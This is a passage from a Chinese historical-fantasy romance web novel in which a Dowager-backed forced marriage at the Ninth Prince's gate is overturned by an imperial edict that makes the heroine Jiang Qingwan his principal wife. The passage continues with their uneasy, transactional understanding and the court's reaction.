江清婉却在这时,抬手又倒了一杯酒递了过去。
“顺顺!”
“江娘子。”钟元急声阻止。
太上皇一口血卡在嗓子里,难受的紧,没理会钟元伸手接过,咕咚咕咚喝了下去。
酒如肺腑,胸口滞闷疼痛的感觉竟神奇般消散了。
仿佛有一缕冰泉自心尖散开,满眼四肢。
这种通体舒爽的感觉,他只在慕容嫣嫣那里感受过。
带着几分期待和慌张,他猛地抬头看向江清婉。
“你加了什么?”
钟元诧异,趁着空档立刻诊脉,几个呼吸后收回手,撩开衣袍直接跪在了江清婉面前。
“江娘子,老朽求您救治老爷子。”
太上皇沉寂许久的心,也跟着狂跳起来。
“你真的能治我的病?”
他早就油尽灯枯,药石无依。
只是心有执念仍放不下。
他没有长生不老的心,可他想再找找,再寻寻,或许那人,真的还能回来。
不都说妖能活上千岁吗?
江清婉刚刚递过去的酒,加了一丝灵力。
只不过能让对方好受些,并不能治病。
若是她大师兄在,或许还有机会。
当然,若是非要强行续命,她也能做到。
可这种逆天之举,反噬极重,她怕是要丢掉半条命。
她不会为一个陌生人这么做。
“抱歉,我治不了。”
她不愿受钟元的礼,起身换了个位置。
“钟大夫您起来吧。”
钟元不死心。
“我刚刚诊过脉,老爷子的脉象强劲了不少,我用了好多方子都没有做到,你一定有法子的,只要你说,无论什么条件我都答应。”
太上皇却已经从刚刚的激动重平复了下来。
“钟元,起来吧。人的寿数不可改,你
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也别难为她。”
“可是……”
钟元当然知道寿数难改。
可若是还有些机会,他又怎么能眼睁睁看着太上皇**。
他扶着桌子重新坐好,忍不住抬手抹了下眼泪。
这时小二吆喝着上菜,打破了此间的压抑的气氛。
鲜香麻辣的味道扑面而来,带着浓浓的人间烟火气。
太上皇夹了一块辣炒黄鳝放进嘴里。
许是因为刚刚那杯酒的缘故,他竟不觉得难受,罕见的胃口大开。
“钟元,莫要哭丧着脸,陪我多饮几杯。还有你这小丫头,你今日请我的这顿饭,我会报答你的。”
之后,谁也没再提让江清婉治病的事。
太上皇饮了酒,再加上罕见的精神充沛,天南海北的聊了许多,丰富的见闻和独特的见地,让江清婉饱了耳福。
两坛子梨花酿全干空了。
钟元没敢喝多,扶着已经站不稳的太上皇往外走。
江清婉结了账,跟着一起出来。
“这里离回春堂不远,我用马车送你们吧。”
太上皇却摆摆手,醉红的脸上少了病态,倒有些**之末时的坚韧。
“不用,我觉得,我现在能骑马行千里。”
江清婉没再说什么,扶着青穗的手准备上车。
袖子却被人轻轻扯住。
她回头,干瘦的老头,头发已经灰白,醉了酒的眼透着茫然,很委屈,也很无助。
“嫣嫣,你能回来看看我吗?就一眼,一眼就成。”
钟元吓得赶紧将他拉开。
还警惕的望向了四周,好像一句“嫣嫣”会引来什么可怕的事情。
“江娘子,我……我们先告辞了。”
看着二人搀扶着踉踉跄跄的背影。
江清婉轻轻摇了摇头。
并未多想“嫣嫣”是谁。
她和青穗一起去了趟钱庄,将黄金存上,这才折返回王府。
下了马车,却没着急推门进去。
“青穗,这几日你辛苦些,去盯着秦明朗,不管他做了什么见了什么人或者说了什么话,你只要看着记着就行,不要靠近,也不要阻止。每日清晨汇报给我,为期七天。”
青穗不解。
“为什么是七天?”
江清婉道,“因为那个符,只有七天的效用。”
今天的幻境,是她留在秦明朗心里的饵。
恐惧和怀疑一定会催促他再去见黑鸦的主人。
这一次,她要好好会会那人。
第108章 逼婚
早朝之后,又过了好一会儿,墨云寒才脸色凝重的从皇宫出来。
候在外面的夜七立刻迎了上去。
“王爷,皇上怎么说?要发兵吗?”
墨云寒摇摇头。
“先回府吧。”
夜七急道,“还要等啊?万一真的闯进了京城,这事情可就麻烦了。”
他们去调查金钩弯刀的事情。
却查到了大隋余孽的踪影。
依照规模,绝对百人以上。
再加上新型机关术的加持,若暗藏行踪潜入京城,后果不堪设想。
墨云寒翻身上马。
“让人尽量盯,有消息再报。”
夜七也紧跟着上马。
“皇上怎么想的啊,就算不确定是不是大隋余孽,非兵将却私造机甲兵器已触犯律法,为何不出兵?”
墨云寒是连夜回京的,赶在早朝入了宫。
可没想到,一上朝,就有不少言官开始攻击他执掌的军政问题。
字字珠玑,直指太上皇手里一直没交出来的虎符。
句句为了大周的稳定。
为了朝局稳固。
自从那日在巡防营内,墨云昭没有晋封王昊开始,墨云寒就知道,他心中那个皇兄,早就对他生出芥蒂。
“夜七,你不必跟我回府,去找京城最好的裁缝绣娘和最好的金匠,来王府,为未来的九王妃打造婚服头饰。”
“啊?”
话题转换太快,夜七一时没反应过来。
墨云寒却已经策马而去。
此刻九王府门口,一支长长的的送亲队伍在长街上一字排开,声势浩大。
锣鼓声,鞭炮声,不绝于耳。
十八担嫁妆之前,是龙凤呈祥的大红嫁衣,被人形木架子撑着,绣工奇绝,其上交织的金线和串上的翠珠在阳光下熠熠生辉。
嫁衣之前,是一个圆形的红色托盘,其上是更为奢华的凤冠。
硕大的夜明珠在凤冠最顶上,世所罕见。
这边热闹吸引了不少人。
就连住在长安区外围的苏玉兰也来了。
看着那嫁衣和凤冠,眼中羡慕,嘴上却勾起讽刺。
“九王娶王妃,这事倒是瞒的挺严实,送亲的队伍都来了,也不知道这王妃是何许人。”
在她一旁伺候的春梅小声道,“如果不是云家的县主,肯定就是朝中重臣之女,总不可能是江清婉那小贱蹄子。”
苏玉兰冷嗤。
“就她那种贱妇,也配穿凤冠霞帔!”
春梅偷笑,眼中满是不屑。
“县主,这么大排场的正妃一入府,第一件事肯定就是将那小贱蹄子给赶出来。不如我们找人好好招待招待她?”
苏玉兰眼波流转带着春意和狠辣。
这两日秦明朗为了哄她,在床笫之事上颇为卖力,滋养的她甚是舒坦。
可那日在苏家丢脸的事情,始终还是窝着一股火。
“让人去找几个乞丐,越脏越丑越好。”
春梅福了福身。
“是。”
那边,墨青蕊站在宋玉书的身边,笑的满面春光,语带揶揄。
“我小九叔还真的是大手笔,虽不是正妃,却给足了江妹子颜面,等我下次见了江妹子,可就真的要规规矩矩行个礼叫一声小九婶了。”
宋玉书的脸色却紧紧绷着。
这时一道高呼声传来。
“太后銮驾到。”
墨青蕊吓了一跳,赶紧规规矩矩跪下行礼。
“太后不是在宫中养病一直身体不适吗?怎么会来贺喜?”
周围命妇侍女们也都齐齐跪了下来。
挂着特制凤头灯笼的銮驾,被八人抬着缓缓停在了九王府门口。
李嬷嬷站在銮驾一侧,扬起脖子再次高声喊道,“太后娘娘圣恩,特赐銮驾送亲筱然县主,请九王殿下出来接亲。”
墨青蕊呆住,急忙转头看向宋玉书,满眼惊愕。
“是云筱然?何时赐的婚,为何一点消息都没有?”
她之所以一直以为是江清婉,就是因为朝中半点消息都没传出来。
若是云筱然赐婚给了墨云寒,这么大的喜事,早就贴了皇榜昭告天下。
也不可能这般着急。
宋玉书已经站起身,声音淡淡,“不是赐婚。”
墨青蕊听到一头雾水。
李嬷嬷和另一个丫鬟分立銮驾两侧,抬手用金杖拉开了銮驾的帘子。
里面的云筱然身穿红色长裙,盘发而坐。
未穿嫁衣,未带凤冠。<
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br>她淡淡笑着看向宋玉书。
“舅母,筱然没有母亲,出嫁凄凉,蒙太后娘娘疼爱,亲赐的凤冠和嫁衣,却无有福之人帮筱然戴上,还请舅母移步,为筱然披嫁衣。”
这么大的排场引得围观众人议论纷纷。
不过也都知道云筱然孤苦,家里已无亲人。
让未来亲家舅母帮忙披嫁衣寓意未来婆媳和睦一家亲,倒也无可厚非。
人群中的苏玉兰有些不爽地拧着帕子。
前些日她听说云筱然和墨云寒两个人闹了别扭。
还以为以墨云寒的性子,绝对不可能再娶云筱然,没想到。
不过这样也好,以云筱然的脾气,更不可能容得下江清婉。
这时,马蹄声由远及近。
墨云寒一身金色铠甲,骑着黑色战马,逆光而来。
挺拔冷傲,俊美如神。
猎鹰的马蹄穿过长长的送亲队伍停在了太后的銮驾旁。
云筱然坐在銮驾中,眸光盈盈地看着她,心跳如擂鼓。
“云寒哥哥,今日筱然来嫁你了。”
她说着从袖子里拿出了紫凤懿旨,端放在掌心。
“太后祖母已经下旨,筱然父母双亡,正求舅母帮我披上嫁衣,云寒哥哥来得及时,不如就请云寒哥哥给筱然戴上凤冠吧。”
墨云寒坐在马背上眸色渐冷。
盯着她手里的懿旨看了一眼,漠然开口,“舅母,劳您去后院把江清婉带过来。”
宋玉书眸色渐亮。
多日来的担心,终于消散。
她就知道,墨云寒绝对不会屈从太后。
“好,我现在就去。”
云筱然大急。
“舅母,太后銮驾在此,你要这般舍下筱然而去吗?”
太后銮驾等同于太后亲临。
身为王府主母,宋玉书若是离开,就是藐视太后天威。
这罪,可大可小。
云筱然又举起手中懿旨。
“云寒哥哥,筱然再胆大也不敢假传懿旨,如今銮驾懿旨还有太后祖母亲赏的凤冠霞帔都在,吉时将到,你该接旨了。”
她故意不宣读其中内容,就是想用太后给的依仗骇住墨云寒。
她要墨云寒以正妃之礼,迎她入门!
第109章 唯她一人
墨云寒从墨云昭那里拿来的圣旨放在了书房。
他翻身下马。
“接旨之前,本王有圣旨要宣读。”
云筱然却再次叫住了他。
“太后懿旨已到,云寒哥哥还是要走?”
墨青蕊身在皇室,比旁人更清楚太后和墨云寒之间的嫌隙,立刻伸手轻轻拽了拽宋玉书的袖子。
“宋姐姐,你先让小九叔接旨吧。这是长安区,这么多人看着,岂能懿旨到了眼前而不接的,这可是大不敬。”
宋玉书心中对云筱然更为不喜。
懿旨的内容她一清二楚,云筱然闹这么一出,就是为了颜面算计墨云寒。
若是如此浩浩荡荡的将人迎进府中,将来江清婉再入府,风头全被压住,再加上江清婉的出身本就比不过云筱然,将来定会被人诟病。
可偏偏,在懿旨宣读前,她什么都不能说。
但也不愿由着云筱然算计。
“筱然,王府不会不接懿旨,但云寒所说的圣旨在懿旨之前,无论从哪一方来论,都应该先宣圣旨。”
云筱然的脸色骤变,心里不由发恨。
她已经赌上了所有,没想到如今,连宋玉书都不肯站在她身边。
她死死攥着手里的懿旨。
指尖泛白。
忽然送亲队伍后面传来尖细的嗓音。
“太上皇赐礼。”
她已沉入谷底的心,瞬间又得意起来。
“云寒哥哥,太上皇也来为我们的喜事赐礼了,我这般模样实在有失礼数。舅母,还请快些为我穿上嫁衣。”
宋玉书眉心紧皱。
太上皇怎么也派了人来,这下,是半点法子都没了。
她不由担心地看向墨云寒。
墨云寒此刻的脸色异常难看。
太后逼迫也就算了,当年母妃之事,他童年遭受的痛苦,全都来自太后,而这些,父皇明明都知道。
为何还要帮着太后!
他缓缓握紧双手。
那边,云筱然已经扶着李嬷嬷的手走了下来,手里攥着懿旨,等待宋玉书上前穿衣。
气氛僵持。
宋玉书只得温声劝,“云寒,既然太上皇也有此意,那你没得选。”
凤冠和嫁衣已经抬了过来。
宋玉书叹了口气,正准备去拿嫁衣,常年伺候在养心殿的老太监就已经走了过来。
躬身冲着墨云寒行了一礼。
“见过九殿下。”
“父皇让你来的?”
墨云寒冷冷问道。
老太监笑弯了眼,“是,太上皇听闻了九殿下的婚事,甚是满意,特意赐了礼物让老奴送来。”
云筱然立刻上前,
“云寒哥哥,你快些给我戴上凤冠,我们一起跪谢父皇隆恩。”
她自动改了称呼。
老太监脸上的笑意骤然消失,微微躬身道,“县主,您虽是太后亲自教养,却并非皇家之人,岂可称呼太上皇为父皇,乱了规矩。”
云筱然表情一僵,努力笑着挽尊。
“多谢公公提醒,礼还未成,筱然的确不能改称呼。”
老太监没理她再次笑眯眯的冲着墨云寒拱了拱手。
“殿下,未来的九王妃何在,要请出来一起谢恩的。”
墨云寒本还紧绷的眸子瞬间松了松。
“这礼,是赐给未来王妃的?”
“那是自然。”老太监躬着身子,笑的异常慈爱。
宋玉书顿觉心下大安,立刻将准备拿嫁衣的手给收了回来,整个人喜笑颜开。
“云寒,我即刻去请人过来。”
说罢头也不回往后院方向疾走。
墨青蕊听得一头雾水。
“筱然县主不在这里吗?宋姐姐还要去请谁?”
云筱然死死攥着懿旨,脸色都白了,楚楚可怜地抬眸看着墨云寒。
“云寒哥哥,你就不能先迎筱然入了门吗?”
周围议论声更大。
“难道九王妃不是云县主?那还能是谁?”
“听说九王殿下在后院还养着一个小娇娘,不会是她吧?”
“怎么可能,那不是别人不要的女人吗?怎可做九王妃?”
春梅已经回来。
听着周围的议论脸色大变。
“县主,不会真的是江清婉那个贱妇吧?九王爷还真是什么都不嫌。”
苏玉兰死死瞪着人群中宛若天神般的男人,心里又不接有郁结,极其的不痛快。
那边宋玉书已经拽着江清婉过来了。
身后还跟着满脸愤恨哭红了眼睛的莲儿。
“你们不可以这么欺负人。”
都已经大张旗鼓的娶妻了,却还要钓着他们家小姐,喊什么娘子。
就因为他们家小姐曾与人和离过便可这般所以轻贱吗?
这天底下,他们家小姐一等一的好。
而愤怒的李斗此刻被跟着宋玉书的玉英拦着,根本出不来后院。
作为当事人的江清婉却一脸淡然,只是被拽的
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有些踉跄。
实在是宋玉书的力气太大。
请人的间隙,墨云寒也已经让人取来了装圣旨的盒子。
等江清婉被拉过来以后,便将圣旨递给了老太监。
“还请公公替我二人宣读圣旨。”
他说着握住江清婉的小手拉着她齐齐跪在了地上。
江清婉侧头低语,甚是嫌弃。
“你非要闹这么大吗?”
墨云寒心里压着火。
“别人都逼婚到门前了,你倒是在家里坐得住?”
江清婉小小的翻了个白眼。
“谁知道是不是你急着接人进门,我何必出来看你们的热闹。”
她话音刚落,小手就被男人使力攥住。
她挣了挣,没挣开,气鼓鼓的瞪她。
前面的老太监却已经打开了圣旨开始宣读。
“奉天承运皇帝昭曰……”
寥寥数行,震慑全场。
苏玉兰踉跄着几乎站不住。
“此生……唯她一人?”
她想不通,记忆中芝兰玉树、冷酷无情的少年,怎么就会要一个下堂妇,还此生唯她一人。
凭什么!
凭什么她江清婉的日子越过越好,还成了九王爷的正妃。
而她费尽心思抢来的秦明朗却处处给她丢人。
圣旨宣读完,便是赐礼。
玉器,珍珠,绸缎,玛瑙……
六个小箱子一字排开,其中珍宝令人咋舌。
单单那一壶紫色的珍珠,各个鸽子蛋大小,实属罕见。
所有礼物尽数报完以后,老太监又道,“九殿下,九王妃,太上皇已下旨让制衣局的司官为你们材质婚服,凤冠和头冠交给了尚工局,不日将派人入府量尺寸。老奴差事办完,先告退了。”
宋玉书立刻起身拿了银子塞进老太监手里。
“辛苦公公。”
老太监也没推辞,笑笑走了。
自始至终,都没有对太后的銮驾多看半眼。
莲儿已经惊得目瞪口呆。
她家小姐真的成了九王妃,还是皇上亲赐的九王妃?
她有一种苦尽甘来的狂喜,眼泪夺眶而出,转身往后院跑,去跟李斗报喜。
墨青蕊同样惊得不轻。
她怎么也没想到墨云寒竟然敢直接娶江清婉为正妃。
可是想想墨云寒的个性,却又觉得,这也没什么大不了。
忽然人群中有人咦了一声。
“那云县主闹这一出是什么意思?”
第110章 从未爱过
看热闹的人齐刷刷全看向了云筱然。
她刚刚有多艳羡多风光,此刻就有多尴尬。
那奢华的嫁衣和凤冠,也好像失去了颜色。
人群中的苏玉兰看着眼底狰狞的云筱然,心中莫名畅快。
恨吧!
越恨,江清婉的日子就越不会好过。
太后可是皇上的亲娘。
今日闹成这般,摆明了是打了太后的脸。
她就不信,太后会放过江清婉。
墨云寒牵着江清婉的手看向云筱然。
“圣旨已下,无论太后的懿旨为何,本王都不会接。舅母,送客。”
他说的是客,摆明了亲疏关系。
言毕就准备带江清婉从正门入府。
云筱然的心彻底坠入冰窟。
冷到极致后是扭曲的疯狂。
她抬手将懿旨展开,当着所有人的面朗声读完。
现场一片死寂。
却又很快热烈的议论起来。
“堂堂县主去做姨娘?云县主不是一直养在太后膝下备受恩宠吗?怎么会这样?”
“可怜县主一片痴心,怕是早就知道九王殿下要娶后院的小娇娘,所以才求了太后懿旨,甘愿入府为姨娘。”
围观多为长安区闲在家中的贵妇,久居深闺,对此事更为感触。
纷纷抱起不平。
“宋夫人,云县主自降身价皆因所爱,如此痴心忠烈的好女子,你可不能因为云家没落而另眼相待。”
“就是,云县主这些年没少入王府孝敬你,你们常结伴而行宛若母子,王爷性情凉薄也就罢了,你怎可如此相待。”
“云家一门忠烈,为大周捐躯,留下云县主一个孤女,竟被九王府这般欺凌,真是令人心寒。”
云筱然心中得意。
她就是要整个长安区的人知道,墨云寒辜负了她,愧对了她。
被一个不要脸的狐媚子勾引,成了一个色令智昏的王爷。
能住在长安区的,背后哪一个不是高门。
吹吹枕边风,朝堂内的风向就能变。
她要墨云寒为他求赐婚圣旨的举动后悔,转过头重新求她谅解。
她将懿旨卷起。
泪眼婆娑的看向墨云寒,忽地撩起红裙,跪地盈盈一拜。
声音哽咽,更显单薄可怜。
“姨娘筱然,见过王爷,见过王妃。请王妃准筱然入府。”
在她身后,太后的銮驾,亲赐的嫁衣和凤冠,无一不是太后的颜面。
墨青蕊此刻的心都提到了嗓子眼。
皇祖父宠溺九王,京城无人不知。
刚刚老太监来送礼包括皇上的赐婚圣旨,在外人看来全是纵容九王爷,自然没人敢有异议。
可现如今,赐婚圣旨已下。
江清婉就是正儿八经的九王妃。
本就身份引人诟病,却还要太后亲封的县主跪在她面前,若不识趣,小了是善妒上不得台面,大了便是藐视太后。
她焦急地想过去提醒两句。
宋玉书却已经上前。
并不是去搀扶云筱然,而是站在了江清婉的身侧。
“云县主,你求太后懿旨的时候,我就在当场。旁人不知,我却一清二楚。”
“你压着这道懿旨三天不许任何人透露半个字,又坐着太后銮驾,声势浩大的前来王府,让我给你披嫁衣,让云寒为你戴凤冠。到底意欲何为,你当所有人都是傻子吗?”
“若你真的是委屈下嫁,痴心忠贞,一切为九王。为何刚刚不直接宣读懿旨,偏要在太上皇的赐礼之后,皇上的圣旨之后,跪地求着入府。我且问你,若为姨娘,从后门悄然入府,你手握懿旨,我岂敢拦着?”
她本就出身将门。
自有风骨,虽也是内宅妇人,气势却又与旁人不同。
音色铮铮,狠狠捶在众人心头。
刚刚还在指责王府薄情的贵妇人脸上都有些难看。
云筱然依旧跪在地上,抬起头的瞬间,眼泪夺眶而出。
“舅母,筱然为何如此您不知道吗?我自小爱慕云寒哥哥,明知丢脸,却还求了懿旨,带着嫁衣和头冠,自备了丰厚的嫁妆前来,只不过是想圆了儿时的心愿。我敬您为母,所以希望您为我披上嫁衣,我爱云寒哥哥,以他为夫,所以想让他为我戴上凤冠,仅此而已啊。”
这般撕心裂肺,谁能不动容。
墨云寒却在这时冷冷开口。
“身为姨娘,没资格穿红,既然太后有旨
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,本王也不会拦你。将这些碍眼的东西全部抬走,姨娘无需嫁妆,也无需聘礼。你去换身衣服,从后门入府,九王府中自会安置你。”
既敢逼婚,这脸面他也没打算给。
说罢揽上江清婉的腰就往府内走。
墨云寒亲自发话,周围人虽觉怜悯,却也没人敢再多事议论。
再加上之前宋玉书的说辞,也只能各自在心里叹上一声。
眼见一切仍成了空。
云筱然猩红着眼睛扶着李嬷嬷的手缓缓站起。
声音又冷又恨。
“江姐姐,正妃入玉蝶,你可知自己的身份,会给云寒哥哥带来什么样的灾难。你若真的爱他,真的为他好,就不该执意如此,让云寒哥哥成为皇室的笑柄。”
江清婉的脚步停在府门前。
她缓缓转身。
暮云纱的裙子滑过浅淡的弧度,漂亮的如天边的云。
乌黑的发髻只别了一根雕刻精致的玉簪,连点流苏点缀都没有。
素白的小脸更是未施粉黛,立在光影之中,居高临下的看了过去。
明明是个谁都看不上的孤女。
这一刻,淡雅出尘的气场,竟然比一身红衣、立在奢华嫁衣前的云筱然更加贵气天成。
她唇瓣轻启,声音清冽悦耳。
“那你的爱是什么?浩浩荡荡前来逼婚,让今日之事传遍整个长安区,只为了满足你儿时幻想?在明知他已经拿了赐婚圣旨以后,仍执意去找太后要来懿旨,赐了凤鸾,赐了嫁衣,在大庭广众之下宣扬墨云寒凉薄无情,辜负于你。可他,从未说过爱你,不是吗?”
最后一句狠狠撞飞所有伪装。
云筱然的脸色难看至极。
她恨得心头滴血,满腔不甘。
“可云寒哥哥也不爱你,他选你为妃,不过是受你挑唆,与我置气,我们青梅竹马一起长大,感情深厚岂能是你……”
她话没说完,现场就响起了一阵盖过一阵的惊呼声。
江清婉瞪大了双眼,看着忽然压过来的那张俊脸,脑袋一片空白。
唇瓣被人噙住,带着令人迷醉的冷香,柔软挤压的悸动疯狂传进身体。
她的心,跳得像要失控。
第111章 不纯粹
墨云寒浅尝辄止,看着近在咫尺的那双眸子,澄清茫然还带着几分迷离,他眼底噙着笑将人松开。
声音低哑蛊惑。
“谁说本王不爱本王的王妃?”
云筱然彻底站不住,踉跄着险些栽倒。
好在被李嬷嬷扶住。
她低声哄着,“县主,以后的事以后再谋划,先入府再说。”
送亲队伍来时多气派,走时就多狼狈。
看热闹的众人也渐渐散去,有些识趣的上前跟宋玉书礼貌贺喜。
墨青蕊在旁帮衬,先前的担忧此刻全成了熨帖的舒爽。
除了出身,她觉得江清婉哪哪都配得上自家小九叔。
如今正儿八经地赐了婚,简直不要太圆满。
王府正殿内。
墨云寒将手松开,神情很是不自然,眼神都不知该落在哪里,却又不愿失了主动。
“圣旨既已宣读,你今日就搬来前院吧,想住哪里都可以,你跟舅母商议便可,至于云筱然,你不必理会,本王自有用意。”
说完等了半天未见回应。
他忍不住转头看去。
就见江清婉不知何时坐在了椅子上,手指正轻轻摸着唇瓣。
刚刚香软的触感此刻再次在他的心头撩起了涟漪,墨云寒欺身逼近,将人困在椅中。
“没亲够?本王可以……”
“墨云寒!”
江清婉在这时抬头,眼底并没有刚刚被亲吻的迷离沉醉,明亮锐利的像一把磨了很久的刀。
墨云寒怔住,收起戏谑逗弄正色回应。
“我在。”
江清婉盯着眼前那张漂亮的不像话的脸。
心里沉了又沉。
对付一个云筱然,她不信这男人没有旁的法子。
何至于牺牲这么大。
她神色微凝。
“你是不是喜欢我?”
这话问的正经又直白。
没有小女儿家的怯懦,也没有即将为**的娇羞。
墨云寒一时间拿不准。
犹豫的几息,江清婉却已经再次开口。
“你并不纯粹。”
无论是喜欢还是利用,都不纯粹。
江清婉忽然发现了一个很奇特的点。
摒弃了爱与不爱的界限,她不会再难受谁的负心,谁的利用,谁的算计。
她伸出手在墨云寒惊愕的目光中勾住了他的脖子仰着小脸亲了上去。
这是她第一次亲人。
以前跟秦明朗在一起,发乎情止乎礼,就连大婚之夜送他出征,也只是轻轻抱了一下。
柔软的唇瓣混合着冷香的气息,再次侵袭在唇间。
她很确定,自己不讨厌,还觉得新奇悸动。
正探索的开心,肩膀就被人握住猛地推开。
墨云寒的眸子睁的很大,难以置信。
“你……你怎么伸舌头?”
江清婉抿了抿唇意犹未尽。
“墨云寒,我不会喜欢你,但是你长得极好看,我喜欢你这张脸,你的身材也……”
她的目光随着小手一起落在了男人的胸口。
墨云寒的脸瞬间黑了下来。
“你想说什么?”
江清婉白嫩的指尖戳了戳墨云寒的胸口。
因为那句不会喜欢,心跳竟变得异常的平静,再不会扰乱思绪。
她再次仰起头,目光落在墨云寒被亲的潋滟动人的唇上。
“治好你的腿我就走,你想对云筱然做什么,又要利用我达成什么样的目的,还有皇宫里的那些糟心事我都不会管。在这期间你要是勾我,我不一定能把持的住。”
举止言语浪荡的如去妓馆了点了小官一般。
墨云寒气的肺都快炸了。
“你当本王是什么?”
江清婉轻轻耸了下肩。
“难不成你真的对我情根深种,喜欢的不得了才去请皇上赐婚?”
这话噎的墨云寒哑口无言。
如江清婉所说。
他并不纯粹。
墨云寒站起身,冷傲的站在一步之外。
“本王的确不喜欢你,本王娶你,一是护你不至于在本王的腿没好之前被人弄死,至于其他,你也不必知道。”
他说完拂袖而去。
差点和刚进院子里的宋玉书和墨青蕊撞上。
“小九叔……”
墨青蕊赶紧行礼,礼还没成,墨云寒的人就没了影。
她一脸懵。
“这什么情况啊?”
这时江清婉也从殿内走了出来。
墨青蕊立刻迎了上去,“江妹子……呸呸呸,是小九婶。”
她揶揄地娇笑着福了福身。
江清婉将她拉起。
“
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你我之间单论。”
墨青蕊对着那么一张娇嫩的小脸也实在叫不出长辈的称呼,当即笑着又唤了声江妹子。
“宋姐姐,赐婚圣旨已下,今天又被人抢了风头,江妹子这婚事,咱们可要好好准备着。”
宋玉书点头。
“这几日可是憋坏我了,又不能让太后起疑心,又不能让云寒提前知晓,这忙里忙外的准备了不少东西,也不知道清婉喜不喜欢,现在好了,咱们一起去选选,缺了什么要早些买来。”
墨青蕊没好气的轻轻瞥她一眼。
“宋姐姐,你真是连我都瞒着,下次饮酒,必须自罚三杯。”
两人笑闹着,气氛极好。
江清婉却淡淡开口。
“宋夫人不必准备东西,这婚礼暂时是不办的。”
宋玉书愣住。
“不办?为何不办?这婚事都订了还等什么?”
她说着又悄悄往前凑了凑压低了些声音。
“你可不能拖,太后的意思都摆在那里,必须礼成了才安心。”
墨青蕊也跟着附和。
“皇祖父的身体一日不如一日,万一哪天……光守孝都要三年,三年内会发生什么,谁都不知道,所以这婚,必须早早的成。”
……
皇宫,御书房内。
太监总管躬身入内。
“皇上,筱然县主坐着太后的銮驾已经入王府,九王殿下也的确当场宣读了圣旨,只是……太上皇他老人家派人送了厚礼贺喜,认了那位江娘子为九王正妃。”
批奏折的手猛地顿住,狼毫笔滴下来的墨染黑了一块。
墨云昭皱眉。
“太上皇准了?”
“准了,挑了不少好东西,还下了旨意,让制衣局和尚工局的人按照亲王礼制准备婚服,并着礼部准备祭祖入册的一应事务。”
“啪!”的一声,墨云昭将晕染了的折子丢在一边。
太监总管吓得立刻跪在地上,颤巍巍道,
“太后那边也得了消息,正生着气,皇上您不去瞧瞧?”
墨云昭连着深呼吸了好几下,又随手拿了份奏折打开。
“既然连太上皇都准了,那就贴皇榜吧,昭告天下,当朝九王娶了谁做九王正妃。”
太监总管眼底闪了闪。
“遵旨!”
第112章 皇榜
皇榜一出,整个京城都沸腾了。
淮楼三楼,
墨云寒站在窗前看着不远处张贴皇榜的布告栏前围着的人群,唇角勾起冷笑。
“我这皇兄还真是急不可耐。”
夜七抱剑而立。
“王爷您这恶名算是摘不掉了。江娘子估计也会挨不少的骂。”
提及江清婉,墨云寒微微皱了下眉,心口略有些烦闷。
“她才不会在意。”
夜七没注意到他的神色,跟着附和了声。
“王爷说的没错,江娘子活的随心肆意,定然是不会在乎这些俗事。”
他话音刚落,墨云寒的眼神就冷冷的扫了过来。
“你很了解她?”
夜七怔住。
超强的求生欲让他立刻改口。
“属下一点也不了解江娘子,除了王爷交代的事情,属下没有跟江娘子单独说过话。”
“叫王妃!”
墨云寒冷着脸移开目光。
夜七憋着笑。
“是。”
墨云寒忽又想到什么,侧头问道,“今日未见青穗,她在忙什么?不是让她贴身护着王妃吗?”
夜七挠了挠头。
“王爷您不是说,以后青穗的一应事务都交由王妃掌管,不必再跟您汇报了吗?”
墨云寒再次被噎住,心下很不痛快。
这时门外传来声音。
“主上。”
是苏柳儿。
“进来。”
墨云寒敛下心神转头望去。
门开的瞬间,他闻到了淡淡的血腥味。
“出了何事?”
苏柳儿摇头。
“一切顺利,暗渠的钉子传来消息,金钩弯刀并不是产自暗渠,也没有人在其中交易过这类兵器。不过,有个叫鬼面的,擅长机关术,听说最近在到处收集稀有精铁,不知是否是制造金钩弯刀。”
夜七道,“王爷,我记得金钩弯刀其中最精妙的机关零件好像就是精铁。”
苏柳儿眉宇一凛。
“我现在传信让人盯紧。”
墨云寒叫住她。
“谁伤的你?”
苏柳儿心中一暖。
“寻宝人,已经好的差不多了。”
她想了想,虽不太情愿,却还是说提了句。
“恰好遇到江娘子,她帮了忙,等我将那群浑蛋全抓起来,淮楼将会有一大批宝贝可以竞宝。”
夜七赶紧咳嗽了一声。
“你还不知吧,现在要改口了,要唤王妃。”
苏柳儿一脸懵。
“王妃?谁?江清婉吗?她……”
她刚想说“她怎么配。”
可又紧急闭了嘴。
墨云寒状似不在意的问道,“她能帮你什么?”
苏柳儿还没从墨云寒要娶江清婉为正妃的震惊中回过神来,下意识说起那天的事情。
“一百两黄金?”夜七听完只觉哭笑不得。
这算是从左边兜里赚了银子,转到了右边兜里吗?
“王妃是不是知道这淮楼是王爷的?”
苏柳儿摇头。
“我不清楚,但她的确是看在黄金的份上才开的卦。”
“准吗?人找到了吗?”
夜七自从戴上那个八卦镜挡了次黑乌鸦,对江清婉的本事越发佩服。
苏柳儿偷偷看了眼墨云寒,见他没什么表情这才道,“人找到了,不过没抓到活的,服毒**。”
“那就是什么都没问出来?”
夜七顿觉无趣。
“你这宝贝怕是找不到了。”
苏柳儿抿了抿唇没说话。
墨云寒却在这时开口。
“去请她过来,重新卜卦。”
苏柳儿惊愕抬头。
“主上,你怎么知道我还……”
她的话瞬间噎死在喉咙里。
要找的人**,宝贝怕是要胎死腹中。
差事办成这样实在丢人。
她本想瞒着再起卦的事,没想到墨云寒竟然能精准猜到。
墨云寒返回桌案前重新拿起了账本。
淮楼是京城的一个据点。
以竞宝为住,收罗各方消息,也是他最常待的地方。
苏柳儿踌躇片刻。
“主上,要请来这里,还是去属下的房间。”
夜七无语的翻了个白眼,拽着她的胳膊出了门。
“自然是这里,这点眼力见都没有了?你怎么做这淮楼的掌柜。王爷是想看卦吗?王爷是想找个机会跟王妃亲近。”
看了眼关上的房门,苏柳儿的脸色瞬间冷了下来,一把抽回手臂。
“我做事还用不到你来指手画脚。”
说完转身走了。
夜七盯着她的背影想干架。
不过淮楼和暗卫营分属不同,论起级别,他和苏柳儿算是同级。
他还真没资格管。
……
太学院内的花园回廊上。
郭浩的书童跑的气喘吁吁的将从外面买来的肉干递了过去。
“小侯爷,外面可热闹了。”
这几天霍震都在家中养身体没来太学院。
这让郭浩觉得人生异常寡淡,天天被夫子们追着背书写文章,戒律司的人也犯
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神经,说是最近京郊不太平,除了休沐的日子不准出学院。
京郊不太平还有巡防营的人挡着,拴着他们这些学子做什么。
郭浩烦躁的往嘴里塞了块肉干,翘着腿靠在石柱上。
“什么热闹?偷情的被抓了,还是哪个贪官被满门抄斩砍了脑袋?”
书童连连摆手。
“都不是,是江娘子。”
